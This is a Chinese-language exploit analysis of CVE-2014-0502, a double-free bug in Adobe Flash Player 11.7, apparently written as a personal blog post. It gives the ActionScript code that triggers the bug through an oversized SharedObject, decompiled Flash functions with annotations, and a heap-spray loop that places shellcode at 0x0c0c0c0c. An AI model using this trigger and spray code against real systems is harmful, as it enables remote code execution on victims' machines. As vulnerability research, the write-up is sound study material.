Exploit DoubleFree 2017/06/15
CVE-2014-0502分析

0x00.环境

系统::WINXP SP3

影响软件:Adobe Flash Player 11.7.700.261

0x01.成因

当存储本地信息文件超过最大大小后,导致pending标志位一直置位,从而造成DoubleFree

0x02.要点

0x00.为何此处值是100K?
        public function triggerexp():void
        {
            var exp:String="AAAA";
            //          while(exp.length<1024*100)
            //              exp=exp+exp;

            while(exp.length<1024*100)
            {
                exp=exp+((Math.random()<<16)+(Math.random()>>16)).toString();
            }
            var sobj:SharedObject=SharedObject.getLocal("record");
            sobj.data.logs=exp;
        }

因为超过这里的设置才会触发漏洞

img

依据是在进入ROP前,根据栈信息进行回溯,对第一个调用函数分析

int __thiscall SharedObject_flush(int this, char a2, double a3, char a4)
{
  int v6; // edx@4
  int v7; // ecx@4
  signed int v8; // ebx@4
  void *v9; // eax@7
  int v10; // eax@12
  int v11; // eax@12
  void *v12; // eax@16
  void *v13; // ecx@16
  int v14; // edi@16
  void *v15; // eax@17
  int v16; // eax@19
  bool v17; // zf@19
  bool v18; // sf@19
  unsigned __int8 v19; // of@19
  char *v20; // eax@19
  int file_size; // eax@21
  int v22; // ecx@25
  int v23; // eax@25
  char v24; // al@27
  int v25; // ecx@30
  int v26; // [sp-Ch] [bp-28h]@12
  int v27; // [sp-8h] [bp-24h]@12
  int v28; // [sp-4h] [bp-20h]@12
  int v29; // [sp+Ch] [bp-10h]@12
  int v30; // [sp+14h] [bp-8h]@18
  int max_size; // [sp+18h] [bp-4h]@7
  if ( !(*(this + 190) & 1) )
    return 0;
  sub_100F0B44(this);
  v8 = 0;
  if ( !*(this + 193) && 0.0 == a3 ) //如果pending标志位是0则直接返回,也就无法调用ROP
    return 1;
  v9 = *(*(this + 184) + 44);
  max_size = -2;
  if ( !a4 )
    max_size = sub_100A8EAD(*(*(this + 8) + 1512), v6, v9);
  if ( !*(this + 193) && (max_size > a3 || max_size == -2) )
    return 1;
  v10 = *this;
  v28 = 0;
  v27 = *(this + 8);
  a4 = 1;
  v26 = v7;
  v11 = (*(v10 + 8))(this);                     // rop
  sub_10271423(&v29, v11, v27, 0);
  sub_100ED935(this, v29, &a4);
  if ( *(this + 76) )
  {
    if ( max_size == -1 )
    {
      max_size = 0;
      a2 = 0;
    }
    if ( max_size != -2 )
    {
      v12 = *(this + 84);
      v13 = *(this + 108);
      v28 = 0;
      v14 = sub_100F12FD(v13, v12, 1, *(this + 8), 0);
      if ( *(this + 124) > 0 )
      {
        v15 = *(this + 120);
        v28 = 0;
        v14 += sub_100F12FD(v15, 0, 1, *(this + 8), 0);
      }
      v30 = max_size - v14;
      if ( a3 <= 0.0 )
      {
        file_size = *(v29 + 12);
      }
      else
      {
        HIDWORD(a3) = a3;
        v16 = *(v29 + 12);
        v19 = __OFSUB__(v16, HIDWORD(a3));
        v17 = v16 == HIDWORD(a3);
        v18 = v16 - HIDWORD(a3) < 0;
        max_size = *(v29 + 12);
        v20 = &max_size;
        if ( (v18 ^ v19) | v17 )
          v20 = &a3 + 4;
        file_size = *v20;
      }
      if ( file_size > v30 ) //   如果超过100KB则跳过处理直接返回
      {
        if ( a2 )
        {
          v28 = *(this + 176);
          v22 = *(*(this + 184) + 44);
          v27 = v14 + file_size;
          v23 = *(this + 8);
          v26 = v22;
          sub_100A9005(*(v23 + 1512), v22, v27, v28);
          v8 = -1;
        }
        goto LABEL_26;
      }
    }
    v24 = sub_100E4945(*(*(this + 184) + 44));
    if ( *(*(this + 8) + 1126) && !v24 )
    {
      v28 = a4;
      sub_100F0904(*(v29 + 8), *(v29 + 12), a4);
LABEL_31:
      *(this + 193) = 0;                        // pending标志清零!!!!!!
      v8 = 1;
      goto LABEL_26;
    }
    v25 = *(v29 + 12);
    v28 = a4;
    if ( write_to_file(this, *(v29 + 8), v25, a4) )// 写入到文件
      goto LABEL_31;
  }
LABEL_26:
  sub_102700FA(&v29);
  return v8;
}
0x01.如何完成的堆喷?

我也不太理解EXP里为什么要-0x24,我改成下面这样依然正常

            i = 0;
            while(i < 0xc0c)
            {
               val.writeByte(144 + i);
               i++;
            }
            val.writeBytes(shellbytes);
            i = val.length;
            while(i < 0x10000)
            {
               val.writeByte(i);
               i++;
            }
            block = new ByteArray();
            block.writeBytes(val);
            while(block.length < 0x100000)
            {
               block.writeBytes(val);
            }
            Ȁ = [];
            i = 0;
            while(i < 224)
            {
               block1 = new ByteArray();
               block1.writeBytes(block,0,0x100000);
               Ȁ.push(block1);
               i++;
            }

这样就可以稳定将shellcode放置在c0c0c0c

0x02.如何实现利用?

首先参考这个PPT《Flash 虚拟机内存管理及漏洞利用》

根据ROP下断,对KV进行回溯分析(我是一步步F11才找到的。。。),找到分配内存函数

sub_105A96C0(dword_10EDFEA0, v5, a3);
char *__fastcall sub_105A96C0(int a1, unsigned int size, unsigned int a3)
{
  int v3; // eax@3
  int v4; // eax@5
  int v5; // esi@5
  struct_v6 *v6; // edi@5
  volatile LONG *v7; // ebp@5
  struct_v8 *v8; // esi@8
  char *result; // eax@12
  char *v10; // eax@13
  unsigned __int16 v11; // cx@13
  struct_v8 *Buf; // ebx@14
  struct_v8 *buf; // eax@19
  struct_v8 *v14; // eax@21
  struct_v8 *v15; // edi@24
  volatile LONG *Destination; // [sp+0h] [bp-4h]@5
  if ( size > 0x7F0 )
  {
    result = alloc_big_block(a1, size, a3);
  }
  else
  {
    if ( size > 4 )
      v3 = byte_10C7EAC8[(size + 7) >> 3];
    else
      v3 = 0;
    v4 = 9 * v3;
    LOBYTE(v5) = 0;
    v6 = (a1 + 4 * v4 + 4);
    v7 = (a1 + 4 * v4 + 36);
    Destination = (a1 + 4 * v4 + 36);
    if ( InterlockedCompareExchange(v7, 1, 0) )
    {
      do
      {
        v5 = (v5 + 1) & 0x3F;
        Sleep(v5 == 0);
      }
      while ( InterlockedCompareExchange(Destination, 1, 0) );
      v7 = Destination;
    }
    v8 = v6->firstFree;
    if ( v8 || (sub_105AD290(v6, (a3 >> 1) & 1), (v8 = v6->firstFree) != 0) )
    {
      ++v8->numAlloc;
      v10 = v8->firstItem;
      v11 = v8->numAlloc;
      if ( v8->firstItem )
      {
        v8->firstItem = *v10;
        Buf = v10;
      }
      else
      {
        Buf = v8->nextItem;
        if ( v11 == v6->maxNumAlloc )
          v8->nextItem = 0;
        else
          v8->nextItem = &Buf->firstItem + v6->allocSize;
      }
      if ( v11 == v6->maxNumAlloc )
      {
        buf = v8->prevFree;
        if ( buf && buf->nextFree != v8 || (v14 = v8->nextFree) != 0 && v14->prevFree != v8 )
          abort();
        v6->firstFree = v8->nextFree;
        v8->nextFree = 0;
        v15 = v6->firstFree;
        if ( v15 )
          v15->prevFree = 0;
      }
      if ( a3 & 1 )
        memset(Buf, 0, v8->size);
      InterlockedExchange(v7, 0);
      result = Buf;
    }
    else
    {
      if ( !((a3 >> 1) & 1) )
        sub_105ABA90("Failed to abort");
      InterlockedExchange(v7, 0);
      result = 0;
    }
  }
  return result;
}

根据上面的线索,在调用ROP处断下,根据信息算出ROP应该的大小,如图

debug